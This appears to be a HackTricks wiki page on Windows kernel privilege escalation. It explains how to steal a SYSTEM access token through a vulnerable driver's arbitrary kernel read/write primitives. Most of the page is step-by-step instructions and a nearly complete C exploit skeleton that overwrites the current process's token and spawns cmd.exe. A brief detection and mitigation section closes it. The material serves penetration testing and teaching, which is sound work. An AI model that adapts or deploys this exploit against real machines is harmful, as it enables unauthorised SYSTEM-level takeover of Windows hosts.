arbitrary-kernel-rw-token-theft.md (7267B)
1 --- 2 title: "Windows kernel EoP: Token stealing with arbitrary kernel R/W" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Windows kernel EoP: Token stealing with arbitrary kernel R/W 14 15 ## Overview 16 17 If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS.<sup>[[2]](#references)</sup> 18 19 Why it works: 20 - Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object). 21 - The SYSTEM process (PID 4) holds a token with all privileges enabled. 22 - Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately.<sup>[[1]](#references)</sup> 23 24 > Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags). 25 26 ## High-level steps 27 28 1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess. 29 - From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases. 30 - Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address. 31 2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS. 32 3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both: 33 - EPROCESS_SYSTEM (for SYSTEM) 34 - EPROCESS_SELF (for the current process) 35 4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). 36 - Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask). 37 5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent. 38 - Token_ME = *(EPROCESS_SELF + TokenOffset) 39 - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) 40 6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive. 41 7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.<sup>[[1]](#references)</sup> 42 43 ## Pseudocode 44 45 Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.<sup>[[1]](#references)</sup> 46 47 ```c 48 #include <Windows.h> 49 #include <Psapi.h> 50 #include <stdint.h> 51 52 // Device + IOCTLs are driver-specific 53 #define DEV_PATH "\\\\.\\VulnDrv" 54 #define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 55 #define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) 56 57 // Version-specific (examples only – resolve per build!) 58 static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies 59 static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies 60 static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies 61 62 BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) { 63 struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret; 64 in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE); 65 } 66 BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) { 67 struct { uint64_t addr, val; } in; DWORD ret; 68 in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL); 69 } 70 71 // Get ntoskrnl base (one option) 72 uint64_t get_nt_base(void) { 73 LPVOID drivers[1024]; DWORD cbNeeded; 74 if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) { 75 return (uint64_t)drivers[0]; // first is typically ntoskrnl 76 } 77 return 0; 78 } 79 80 int main(void) { 81 HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 82 if (h == INVALID_HANDLE_VALUE) return 1; 83 84 // 1) Resolve PsInitialSystemProcess 85 uint64_t nt = get_nt_base(); 86 uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build 87 88 // 2) Read SYSTEM EPROCESS 89 uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS); 90 91 // 3) Walk ActiveProcessLinks to find current EPROCESS 92 DWORD myPid = GetCurrentProcessId(); 93 uint64_t cur = EPROC_SYS; // list is circular 94 uint64_t EPROC_ME = 0; 95 do { 96 uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid); 97 if ((DWORD)pid == myPid) { EPROC_ME = cur; break; } 98 uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink); 99 cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD 100 } while (cur != EPROC_SYS); 101 102 // 4) Read tokens 103 uint64_t tok_sys, tok_me; 104 kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys); 105 kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me); 106 107 // 5) Mask EX_FAST_REF low bits and splice refcount bits 108 uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds 109 uint64_t tok_new = tok_sys_mask | (tok_me & 0x7); 110 111 // 6) Write back 112 kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new); 113 114 // 7) We are SYSTEM now 115 system("cmd.exe"); 116 return 0; 117 } 118 ``` 119 120 Notes: 121 - Offsets: Use WinDbg’s `dt nt!_EPROCESS` with the target’s PDBs, or a runtime symbol loader, to get correct offsets. Do not hardcode blindly. 122 - Mask: On x64 the token is an EX_FAST_REF; low 3 bits are reference count bits. Keeping the original low bits from your token avoids immediate refcount inconsistencies. 123 - Stability: Prefer elevating the current process; if you elevate a short-lived helper you may lose SYSTEM when it exits.<sup>[[1]](#references)</sup> 124 125 ## Detection & mitigation 126 - Loading unsigned or untrusted third‑party drivers that expose powerful IOCTLs is the root cause. 127 - Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules can prevent vulnerable drivers from loading. 128 - EDR can watch for suspicious IOCTL sequences that implement arbitrary read/write and for token swaps. 129 130 ## References 131 132 - [1] [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) 133 - [2] [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)